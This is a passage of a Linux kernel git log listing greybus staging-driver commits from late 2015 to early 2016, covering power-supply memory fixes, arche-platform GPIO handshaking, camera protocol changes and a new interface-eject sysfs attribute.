Hovold Date: Fri Jan 8 20:13:45 2016 +0100 greybus: connection: fix connection-state handling Set connection state to ENABLE before sending the control connected message, and set state DISABLE after sending the control disconnected event. Remove the now unused ERROR connection state. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 21 +++++++++++++-------- drivers/staging/greybus/connection.h | 3 +-- 2 files changed, 14 insertions(+), 10 deletions(-) commit 2c92bd5235ac72aa659150ebac309dd4f1c01079 Author: Rui Miguel Silva Date: Mon Jan 11 13:46:33 2016 +0000 greybus: svc: add intf_eject attribute Add a new write-only svc attribute to send an eject request to the svc giving the interface number. So, doing: echo 3 > /sys/bus/greybus/devices/1-svc/intf_eject will force eject the module on interface 3 (module slot 1 on EVT1). This can take some seconds as the pulse width for module release is large. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman Reviewed-by: Jeffrey Carlyle .../greybus/Documentation/sysfs-bus-greybus | 8 ++++++ drivers/staging/greybus/svc.c | 29 ++++++++++++++++++++++ 2 files changed, 37 insertions(+) commit c5d55fb3596db4064491e7e5db6df8bf8f046078 Author: Rui Miguel Silva Date: Mon Jan 11 13:46:31 2016 +0000 greybus: svc: add interface eject operation Add a new svc operation which will be used to send a request to eject a given interface. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman Reviewed-by: Jeffrey Carlyle drivers/staging/greybus/greybus_protocols.h | 7 +++++++ drivers/staging/greybus/svc.c | 17 +++++++++++++++++ drivers/staging/greybus/svc.h | 1 + 3 files changed, 25 insertions(+) commit adb57cff54dd4418f4d5b17f03a976dfdc670226 Author: Rui Miguel Silva Date: Tue Jan 12 14:38:21 2016 +0000 greybus: power_supply: fix check for configured supply The correct check for if the power supply is ready to receive event is wrong and it should check for the registered flag. Signed-off-by: Rui Miguel Silva Reported-by: Johan Hovold Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/power_supply.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit e5273381041fc75215fb50661db39d2f8ed5544e Author: Greg Kroah-Hartman Date: Thu Dec 31 11:14:33 2015 -0800 greybus: APBridge: move APBridge request protocol to a common .h file This moves all of the APBridge request protocol commands that are currently used to a common .h file for everyone to be able to use them in the future, where needed. Signed-off-by: Greg Kroah-Hartman Tested-by: Mark Greer Reviewed-by: Johan Hovold drivers/staging/greybus/camera.c | 11 ++++------ drivers/staging/greybus/es2.c | 31 ++++++----------------------- drivers/staging/greybus/greybus_protocols.h | 22 ++++++++++++++++++++ 3 files changed, 32 insertions(+), 32 deletions(-) commit ed4596e9b19104ccc1e87bde8fcadee3a473c101 Author: Greg Kroah-Hartman Date: Tue Dec 22 18:21:51 2015 -0800 greybus: host: provide "generic" apbridge output calls Provide a new function, gb_hd_output() to send data to the apbridge. This is useful for the camera and audio drivers that need to do this type of messaging. The camera driver is converted to use this new function, the audio driver can use it when it gets merged later. Signed-off-by: Greg Kroah-Hartman Tested-by: Mark Greer Reviewed-by: Johan Hovold drivers/staging/greybus/camera.c | 31 +++++++++---- drivers/staging/greybus/es2.c | 99 ++++++++++++++++++++++++++++------------ drivers/staging/greybus/es2.h | 27 ----------- drivers/staging/greybus/hd.c | 9 ++++ drivers/staging/greybus/hd.h | 4 ++ 5 files changed, 104 insertions(+), 66 deletions(-) commit accad1ba7d62543ab3bcf08813726ea87d237bb6 Author: Rui Miguel Silva Date: Fri Jan 8 13:53:47 2016 +0000 greybus: power_supply: fix use after free of power supply Individual power supply were being freed and checked using the wrong pointers and at the wrong place, which would make several issues, like used after free and so on. Fix it by freeing all allocated memory after release individual power supply. Signed-off-by: Rui Miguel Silva Reported-by: Johan Hovold Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/power_supply.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit f921fb139bd5ee008ec993c76b8a89a535fd11e9 Author: Rui Miguel Silva Date: Fri Jan 8 13:53:46 2016 +0000 greybus: power_supply: fix leak getting string properties When fetching string properties, memory was being allocated and leaked when it was not necessary to do so. Signed-off-by: Rui Miguel Silva Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/power_supply.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) commit d9eafd58e3e365d71cd7d477a1c5675db1931027 Author: Rui Miguel Silva Date: Fri Jan 8 13:53:45 2016 +0000 greybus: power_supply: fix error path at supplies setup If something goes wrong at setup time for the supplies, we need to release all the resources allocated already. Call the supplies release function which will handle the correct teardown of the supplies. Signed-off-by: Rui Miguel Silva Reported-by: Johan Hovold Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/power_supply.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 23f25ba6edd4121eb70baf3df12f5592bee8a1e9 Author: Rui Miguel Silva Date: Fri Jan 8 13:53:44 2016 +0000 greybus: power_supply: free supplies at release After freeing each individual power_supply, free the top controller, if not it will leak memory at each module insert/remove. Signed-off-by: Rui Miguel Silva Reported-by: Johan Hovold Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/power_supply.c | 1 + 1 file changed, 1 insertion(+) commit ff85f723ca362986dc984217433cbdd133fc03d6 Author: Rui Miguel Silva Date: Fri Jan 8 13:53:43 2016 +0000 greybus: power_supply: fix unregister on error path If setup fail the release for each supply needs to know the status at unregister time. So, add the field to the structure, update it at setup time and use it at release. Signed-off-by: Rui Miguel Silva Reported-by: Johan Hovold Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/power_supply.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit 7ccac20d59ca45a2efea93a24a99d57022ff8911 Author: Rui Miguel Silva Date: Fri Jan 8 13:53:42 2016 +0000 greybus: power_supply: do not release failed supply alloc If allocation of memory for each supply fail, we should get out of release any individual supply. Signed-off-by: Rui Miguel Silva Reported-by: Johan Hovold Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/power_supply.c | 3 +++ 1 file changed, 3 insertions(+) commit e0d91ff127cf68e6369cfccd51af18b07bf462e3 Author: Johan Hovold Date: Thu Jan 7 12:28:29 2016 +0100 greybus: power_supply: fix lock imbalance in init error path Make sure to release the supplies_lock before returning on errors in gb_power_supplies_setup(). Signed-off-by: Johan Hovold Reviewed-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/power_supply.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit a463fc1533c9ea2edc99306b31c74f472c62d690 Author: Vaibhav Hiremath Date: Mon Jan 11 17:41:24 2016 +0530 greybus: arche-platform: Add wake/detect support along with handshaking with AP Add wake_detect support to arche-platform driver which is responsible for SVC control. This patch also adds code for handshaking between AP <=> SVC. The sequence is, 1. AP boots To keep compatibility between DB3 and EVT platform, SVC will be help in reset and AP driver would release it at appropriate time. wake/detect pin (WD8A) = Low reset (SVC/APB1/APB2) = Asserted (as per polarity) 2. AP Driver gets inserted 2.1. AP will deassert reset to SVC (following power on sequence) 2.2. SVC allows 360 milliseconds to elapse after switch boots to work around bug described in ENG-330. 2.3. AP asserts wake/detect pin (WD8A = HIGH) 3. SVC detects assertion of wake/detect pin, and sends "wake out" signal to AP 4. AP receives "wake out" signal, takes AP Bridges through their power on reset sequence as defined in the bridge ASIC reference manuals 5. AP takes USB3613 through its power on reset sequence 6. AP should enumerates AP Bridges Note: ISR has been deliberately removed (not merged) as we are still not sure how it will be used, in runtime usage context. Driver as such doesn't do anything for runtime assert-n-deassert of reset to SVC/APB's, it just simply offloads it to user by exporting required gpio's. The exported gpio's are required for FW flashing from user space. When it comes to usersace manipulated control sequence, user has to manage. Signed-off-by: Vaibhav Hiremath Tested-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 75 +++++++++++++++++++++++++++++--- 1 file changed, 70 insertions(+), 5 deletions(-) commit f1e9cbd5a097aa6ec62f261bdf44879bbaefb72a Author: Vaibhav Hiremath Date: Mon Jan 11 17:41:23 2016 +0530 greybus: arche-apb-ctrl: deassert reset at the end of probe Now the complete handshaking between AP<=>SVC would be offloaded to parent driver (arche-platform) who is responsible for SVC control, so the apb-ctrl driver can just simply bring APB's out of reset during probe itself. Along with deasserting reset, this patch renames the local fn to exclusively use it for reset purpose. Note that, driver is exporting reset gpio to user, so user can still flash FW from prompt. Signed-off-by: Vaibhav Hiremath Tested-by: Michael Scott Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) commit 33036178bf04a06ad7e87513c76d7075959088e8 Author: Vaibhav Hiremath Date: Mon Jan 11 17:41:22 2016 +0530 greybus: arche-apb-ctrl: Remove wake_detect gpio and related code With TIME_SYNC functionality, assignment of wake/detect pin will change, WD_8A => to bring APB's out of reset WD_8B => TIME_SYNC operation So in order to support this, we can no longer keep wake_detect gpio in apb-ctrl driver. So remove it. In the subsequent patches, wake_detect support will be added to parent SVC driver (arche-platform) who is responsible for SVC control. Note that, this patch also removes ISR related code. The APB state still is maintained, for future use. Signed-off-by: Vaibhav Hiremath Tested-by: Michael Scott Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 81 -------------------------------- 1 file changed, 81 deletions(-) commit 3b858df01fe936bbd329ecf13c3a3d81486f1f16 Author: Viresh Kumar Date: Mon Jan 11 11:29:17 2016 +0530 greybus: arche: Remove unwanted headers and rearrange others This removes few unwanted headers related to irq, interrupt, regulator, spinlock, etc. Also arrange the rest in alphabetical order to make it more readable. Signed-off-by: Viresh Kumar Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 18 +++++++----------- drivers/staging/greybus/arche-platform.c | 19 ++++++------------- 2 files changed, 13 insertions(+), 24 deletions(-) commit 40989cf3c1e3c114d3558ad4d7513344ed612ac2 Author: Viresh Kumar Date: Mon Jan 11 11:29:16 2016 +0530 greybus: arche-apb: Drop unnecessary checks wake_detect_gpio and resetn_gpio are guaranteed to be valid in apb_ctrl_cleanup() and irq-handler, no need to check for their validity. Signed-off-by: Viresh Kumar Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) commit d258432fb2fbf1a5a4910dbc31aba99d04801268 Author: Viresh Kumar Date: Mon Jan 11 11:29:15 2016 +0530 greybus: arche-apb: Do cleanup within apb_ctrl_init_seq() for error cases Relying on apb_ctrl_cleanup() to do the cleanup for errors that occurred within apb_ctrl_init_seq() isn't a very clean idea. Handle that separately within apb_ctrl_init_seq(). This will clean apb_ctrl_cleanup() in later patches. Signed-off-by: Viresh Kumar Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 26 +++++++++++++++++--------- 1 file changed, 17 insertions(+), 9 deletions(-) commit a7a794ec540c442999598cf16605ba7962aa3861 Author: Viresh Kumar Date: Mon Jan 11 11:29:14 2016 +0530 greybus: arche-apb: Don't use gpio after failing to request it If devm_gpio_request() returns an error, we shouldn't try to set the direction of the same gpio. Signed-off-by: Viresh Kumar Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) commit db0cff554a612715701a04143df595cc87737d55 Author: Viresh Kumar Date: Mon Jan 11 11:29:13 2016 +0530 greybus: arche-apb: Properly use dev_err/info/warn Use dev_err for errors after which we need to abort the currently running routine and dev_warn for resource allocation failure, with which we can continue to work. Signed-off-by: Viresh Kumar Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) commit dcf77c397918178af09b72f63145eed3fde788ba Author: Viresh Kumar Date: Mon Jan 11 11:29:12 2016 +0530 greybus: arche-apb: NULL is a valid regulator Since NULL could in theory be a valid regulator we ought to check for IS_ERR() rather than for NULL. In practice this is unlikely to be an issue but it's better for neatness. Signed-off-by: Viresh Kumar Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) commit bd62fa5e1067bd5a3c8421ae3de0021a67223e22 Author: Viresh Kumar Date: Mon Jan 11 11:29:11 2016 +0530 greybus: arche-apb: devm_regulator_get() doesn't return NULL And so we don't need to check for it. Signed-off-by: Viresh Kumar Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 7541c1a1c6b0e5531545c400e27b8aee2ba71610 Author: Viresh Kumar Date: Mon Jan 11 11:29:10 2016 +0530 greybus: arche-apb: Replace gpio_is_valid() with gpio < 0 checks There can be no invalid values in the DTS. The actual pin numbers are assigned by gpiolib when the gpio controller is registered. And so a simple 'gpio < 0' is enough instead of gpio_is_valid() which also checks for 'gpio < ARCH_NR_GPIOS'. This will make the usage of of_get_named_gpio() similar with how it is done in arche-platform driver. Signed-off-by: Viresh Kumar Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 977ff250755f4ae01ef50e98d792fabebb199c34 Author: Viresh Kumar Date: Mon Jan 11 11:29:09 2016 +0530 greybus: arche-apb: platform data 'apb' is guaranteed to be valid Platform data 'apb' is guaranteed to be valid in arche_apb_ctrl_remove() and so no need to check it. Signed-off-by: Viresh Kumar Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 3b538c399c3273ec268f7c641c8ce35c1235763a Author: Viresh Kumar Date: Mon Jan 11 11:29:08 2016 +0530 greybus: arche-apb: Spelling and whitespace fixes - s/premits/permits - Remove blank lines at the end of the file Signed-off-by: Viresh Kumar Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit f1f251b59b6db97c42d7d746727072cb37604494 Author: Viresh Kumar Date: Mon Jan 11 11:29:07 2016 +0530 greybus: arche-platform: propagate errors returned by gpiolib Propagate errors returned by of_get_named_gpio() instead of sending -ENODEV. Signed-off-by: Viresh Kumar Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 140741ec6384435b1a0f89042a2a6dac8e2eebd2 Author: Viresh Kumar Date: Mon Jan 11 11:29:06 2016 +0530 greybus: arche-platform: svc_reset_gpio can't be invalid in arche_platform_cleanup() svc_reset_gpio is guaranteed to be valid in arche_platform_cleanup. Drop the useless check. Signed-off-by: Viresh Kumar Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 72a8c24b6dcae46c4e8c37c1b1d1adb6e6b8a72f Author: Viresh Kumar Date: Mon Jan 11 11:29:05 2016 +0530 greybus: arche-platform: Put APB in reset if of_platform_populate() fails The current implementation around of_platform_populate() is not so great. On error, we first print an error message, followed by a success message and finally we return an error. And over that we don't undo what we did initially. This patch puts the APB back into reset and create a separate error path to make things clear. Signed-off-by: Viresh Kumar Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) commit 8adf71d1b43aa1c449d22dd8e6f6c29957872a7f Author: Viresh Kumar Date: Mon Jan 11 11:29:04 2016 +0530 greybus: arche-platform: Export GPIOs after populating APBs Populating APBs operation can potentially fail and it would be better if we export the GPIOs towards then end of the routine, so that we don't need to unexport them on error cases. Signed-off-by: Viresh Kumar Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 73658f2a285dd8b53160355e619fcb59db3bb98a Author: Viresh Kumar Date: Mon Jan 11 11:29:03 2016 +0530 greybus: arche-platform: arche_pdata is guaranteed to be valid arche_pdata is guaranteed to be valid in arche_platform_remove(). Signed-off-by: Viresh Kumar Reviewed-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit fc41c2da44c510a919f68e2486aeb456f90a50a4 Author: Eli Sennesh Date: Fri Jan 8 14:11:29 2016 -0500 greybus: firmware/bootrom: debug output from bootrom protocol The bootrom protocol issues no dynamic debugging messages when it functions successfully. Use dev_dbg() to fix that by issuing kernel logs when firmware download works. Signed-off-by: Eli Sennesh Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/firmware.c | 21 +++++++++++++++++++-- 1 file changed, 19 insertions(+), 2 deletions(-) commit 4e6e3f5cff2dc72c05c8a8fb4539189ac9141133 Author: Johan Hovold Date: Fri Jan 8 20:13:40 2016 +0100 greybus: connection: fix version-request error handling Use the host device and connection name when logging errors as the version-request helper must not assume that all connection have a bundle. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit b77f9328f2d629220389d44febf7ab6b48848050 Author: Johan Hovold Date: Fri Jan 8 20:13:41 2016 +0100 greybus: core: fix greybus device matching The bus code should only match bundle devices for now, and must not assume all greybus devices are bundles. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 3c48d1b8a5a9571c9107fc7f2b5aea31d458fd18 Author: Johan Hovold Date: Fri Jan 8 20:13:42 2016 +0100 greybus: core: fix greybus driver registration Add missing bus type to driver structure when registering a greybus driver. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 1 + 1 file changed, 1 insertion(+) commit 13da9e11e9b781e54fc5db6b65bdcdf6dd96022d Author: Johan Hovold Date: Fri Jan 8 20:13:43 2016 +0100 greybus: core: add drvdata accessors Add greybus driver-data accessors. Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus.h | 10 ++++++++++ 1 file changed, 10 insertions(+) commit b787d413e0d99ae74e21cdab600ea3c5b0886ec2 Author: Jacopo Mondi Date: Fri Jan 8 18:13:20 2016 +0200 greybus: camera: Add support for flags to stream_configure Add support for the flags field of the stream configure request that was recently added to the camera protocol and update the debugfs arguments parsing accordingly. The stream configure response layout is also updated to the latest protocol specification. Signed-off-by: Jacopo Mondi Signed-off-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 24 +++++++++++++++++------- drivers/staging/greybus/greybus_protocols.h | 10 ++++++---- 2 files changed, 23 insertions(+), 11 deletions(-) commit aab4a1a3684a46b423af23e4bdc9afe1b28dc389 Author: Laurent Pinchart Date: Wed Jan 6 16:16:46 2016 +0200 greybus: svc: Replace link config hack with standard operation The link config operation was a hack only designed to fulfill the camera driver's needs. Now that a standard operation is defined for the same purpose, implement it and remove the hack. Signed-off-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 16 ++++++--- drivers/staging/greybus/greybus_protocols.h | 50 ++++++++++++++++++++--------- drivers/staging/greybus/svc.c | 33 +++++++++++++------ drivers/staging/greybus/svc.h | 7 ++-- 4 files changed, 74 insertions(+), 32 deletions(-) commit e49268cc336eceb0653a03c4a0f9eb53eadf4d64 Author: Vaibhav Hiremath Date: Wed Jan 6 23:46:46 2016 +0530 greybus: arche-apb-ctrl: Do not bring APB out of reset in probe With addition of handshaking between AP <=> SVC, driver brings out APB out of reset only on reception of WAKE_MOD signal from SVC. So remove the deassertion from probe. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 2 -- 1 file changed, 2 deletions(-) commit ae0bf3a62805fa80c8277dd293d9d9d9b8b4c7c0 Author: Vaibhav Hiremath Date: Wed Jan 6 23:46:45 2016 +0530 greybus: arche-apb-ctrl: Set wake_detect gpio to low initially This patch enables handshaking of AP and SVC using wake_detect gpio (WD_8A and WD_8B). Note that WAKE_DETECT polarity is active-high, so in order to enable handshaking between AP <=> SVC, we need to set wake_detect gpio to low initially, so that driver can send WAKE_DET signal (active-high) to SVC and then SVC can send back WAKE_MOD signal (active-low). And on reception of WAKE_MOD signal, driver would bring respective APB out of reset. WD_8A => APB1 WD_8B => APB2 Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 6da86df3a4aa6dfbb9af350df4a908a7a9254be0 Author: Vaibhav Hiremath Date: Wed Jan 6 11:31:20 2016 +0530 greybus: arche-platform: Export gpio (reset & sys_boot) to user In order to allow user to flash the firmware to, SVC: user need to assert the reset first, set sysboot pin and deassert reset. And then issue a flashing command. And APB: User need to assert the reset first, and then issue flashing command. So this patch exports the gpio's to user. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 14 ++++++++++++++ drivers/staging/greybus/arche-platform.c | 16 ++++++++++++++++ 2 files changed, 30 insertions(+) commit 1f67ee5c04c9690c4c99fc4d31f4add46ea7be73 Author: Laurent Pinchart Date: Thu Dec 31 04:20:56 2015 +0200 greybus: camera: Raise the CSI-2 bandwidth Use 4 lanes at 960MHz to support camera modules requiring higher bandwidths until we implement support for dynamic bandwidth calculation. Signed-off-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 1e5dd1f8279a8a934b9df7adec47b944fe6b10f4 Author: Greg Kroah-Hartman Date: Wed Dec 30 13:38:33 2015 -0800 greybus: arche-platform: merge arche-apb-ctrl and arche-platform No need to have two separate arche platform drivers, that's just crazy, so merge them both together to be only one kernel module. Signed-off-by: Greg Kroah-Hartman Reviewed-by: Vaibhav Hiremath Tested-by: Vaibhav Hiremath drivers/staging/greybus/Makefile | 4 +-- drivers/staging/greybus/arche-apb-ctrl.c | 31 ++++---------------- drivers/staging/greybus/arche-platform.c | 49 ++++++++++++++++++++++++++++++-- drivers/staging/greybus/arche_platform.h | 17 +++++++++++ 4 files changed, 70 insertions(+), 31 deletions(-) commit bc142bbb4ceba0891db6bf36cfb7be13c9a2dd72 Author: Vaibhav Hiremath Date: Mon Dec 28 20:06:32 2015 +0530 greybus: arche_platform: Remove child's platform device as part of _remove() fn It seems we need to delete platform_dev of all childs explicitly, in _remove() fn callback of parent driver. There were some discussions about having of_platform_unpopulate(), but it never made it to mainline. https://lkml.org/lkml/2013/7/19/615 There are some drivers which are removing platform_dev explicitly, as done in this patch. Note that, without this, multiple insmod-rmmod won't work, as I see driver probe gets invoked twice and leads to failure of probe. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-platform.c | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 41c23958557d9b37755768849ee39b99a9826a9c Author: Johan Hovold Date: Wed Dec 30 11:23:51 2015 +0100 greybus: camera: destroy data connection on link-config errors Make sure to tear down the data connection also on failure to configure the link by setting the data_connected flag immediately after creating the connection. Signed-off-by: Johan Hovold Reviewed-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit b9f71bc854105148f38d0c2336ed7c9b50a97800 Author: Johan Hovold Date: Wed Dec 30 11:08:01 2015 +0100 greybus: camera: fix memory leak in capture-request handler Fix memory leak in capture-request handler by making sure to release the operation request buffer after sending the request. Signed-off-by: Johan Hovold Reviewed-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) commit 12c8b0dcc884cc7f1f925cd1ed08cf8cdc95e7ef Author: Johan Hovold Date: Wed Dec 30 11:08:00 2015 +0100 greybus: camera: fix memory leak in configure-streams error path Fix memory leak in configure-streams error path by making sure to release the operation buffers before returning. Signed-off-by: Johan Hovold Reviewed-by: Laurent Pinchart Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/camera.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d39bf704acbd254576e3fc880ec13e6cd09e88c7 Author: Viresh Kumar Date: Mon Dec 28 11:59:01 2015 +0530 greybus: interface: Fetch and expose version of interface's firmware The version of the currently running firmware on the module is useful for userspace as it can be used to find if an update is available or not. This patch fetches interface's version with a new control operation and exposes the same in userspace. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman .../greybus/Documentation/sysfs-bus-greybus | 8 ++++++ drivers/staging/greybus/control.c | 29 ++++++++++++++++++++++ drivers/staging/greybus/control.h | 1 + drivers/staging/greybus/greybus_protocols.h | 7 ++++++ drivers/staging/greybus/interface.c | 15 +++++++++++ drivers/staging/greybus/interface.h | 3 +++ 6 files changed, 63 insertions(+) commit 57c6bcc635626e24fff3546bb072b4ba4163872b Author: Viresh Kumar Date: Mon Dec 28 11:59:00 2015 +0530 greybus: interface: Receive serial-number on hotplug event Two exactly same modules can be uniquely identified using module's serial-number. This patch updates the interface hotplug event to also receive the serial-number of the module. Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Documentation/sysfs-bus-greybus | 8 ++++++++ .../greybus/Documentation/sysfs/greybus1/1-2/serial_number | 0 .../greybus/Documentation/sysfs/greybus1/1-4/serial_number | 0 .../greybus/Documentation/sysfs/greybus2/2-3/serial_number | 0 drivers/staging/greybus/greybus_protocols.h | 1 + drivers/staging/greybus/interface.c | 2 ++ drivers/staging/greybus/interface.h | 1 + drivers/staging/greybus/svc.c | 1 + 8 files changed, 13 insertions(+) commit 63d742b68abd09977dfa9f488e5494ec65485ef0 Author: Viresh Kumar Date: Wed Dec 23 09:07:42 2015 +0530 greybus: svc: Set interface's hotplug attributes before using them gb_svc_read_and_clear_module_boot_status() relies on the values of ddbl1_manufacturer_id and ddbl1_product_id to distinguish between ES2 and ES3 chips, but those values are set for the interface structure only after gb_svc_read_and_clear_module_boot_status() is called. This makes ES2 module to fail with following errors: greybus 1-2: Module not ready yet greybus 1-svc: failed to clear boot status of interface 2: -19 Fix this by setting these values before calling gb_svc_read_and_clear_module_boot_status(). Fixes: 51f1dc421b1f ("firmware and svc: detect the difference between ES2 and ES3 chips") Signed-off-by: Viresh Kumar Reviewed-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/svc.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 72e53aed1d077166b63537b2b08dc89af60d6c9a Author: Bryan O'Donoghue Date: Wed Dec 23 16:48:59 2015 +0000 greybus: svc: Change GB_SVC_TYPE_LINK_CONFIG to 0x10 The greybus specification reserves SVC type 0x0d-0x0f for timesync. 53124d73 ('svc: Add support for the link config operation') allocated the next available type 0x0d which conflicts with the specification. Change the type to 0x10 to ensure kernel and specification agree. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 5b22521c895111ca191c82a6573214f995c47709 Author: Viresh Kumar Date: Wed Dec 16 16:29:29 2015 +0530 greybus: control: Use Macro's instead of direct values for major/minor We already have macro's defined for this, use them. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/control.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 166f0aed325f7bcb7c1ee8c2665d5cb05d36d931 Author: Vaibhav Hiremath Date: Wed Dec 16 16:29:20 2015 +0530 greybus: arche-apb-ctrl: Assert reset to APB at the end of probe Until we have proper handshake mechanism implemented with SVC assert reset to APB at the end of probe. We are safe here to do that, as SVC always enables clock to APB's currently. And also from EVT1 perspective, we should be good, as clock control signals are now moved to AP. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/arche-apb-ctrl.c | 2 ++ 1 file changed, 2 insertions(+) commit 5a78178718b9e50ee60a1129431758125cfa2f6a Author: Vaibhav Hiremath Date: Wed Dec 16 16:29:19 2015 +0530 greybus: arche-apb-ctrl: Add APB control driver It was messy to integrate both SVC, APB (and any other arche platform specific control) into one single driver. Especially due to cross-dependency. AP first needs to bringup SVC, as SVC should enable clock to APB. APB should come up before HUB, as due to some reason HUB wouldn't enumerate APB's is APB comes up later. And on top of that we should have clean picture of hardware description in DT file. So this patch introduces APB control driver. Mostly copied from original arche-platform driver + fixed boot sequence. Signed-off-by: Vaibhav Hiremath Signed-off-by: Greg Kroah-Hartman 